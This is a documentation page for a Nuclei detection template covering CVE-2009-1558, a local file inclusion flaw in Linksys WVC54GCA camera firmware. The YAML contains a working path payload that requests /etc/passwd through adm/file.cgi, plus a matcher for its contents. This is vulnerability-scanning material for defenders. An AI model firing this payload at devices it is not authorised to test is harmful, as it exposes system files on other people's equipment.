Skip to content
Nuclei Templates

Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion

ID: CVE-2009-1558

Severity: high

Author: daffainfo

Tags: cve2009,cve,iot,linksys,camera,traversal,lfi,cisco,firmware,edb

Description

Section titled “Description”

Cisco Linksys WVC54GCA 1.00R22/1.00R24 is susceptible to local file inclusion in adm/file.cgi because it allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2009-1558


info:
  name: Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Cisco Linksys WVC54GCA 1.00R22/1.00R24 is susceptible to local file inclusion in adm/file.cgi because it allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by Cisco to fix the local file inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/32954
    - http://www.vupen.com/english/advisories/2009/1173
    - http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1558
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/50231
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2009-1558
    cwe-id: CWE-22
    epss-score: 0.01101
    epss-percentile: 0.84137
    cpe: cpe:2.3:h:cisco:wvc54gca:1.00r22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: wvc54gca
  tags: cve2009,cve,iot,linksys,camera,traversal,lfi,cisco,firmware,edb


http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100daa58881798d59b7a1cde256746b89b1a8e648f3afec0da72fb092d7ccdf511e02205a54c1280312419d612e21640a8035f551407a7a996149da71305e39bd427e85:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2009/CVE-2009-1558.yaml"

View on Github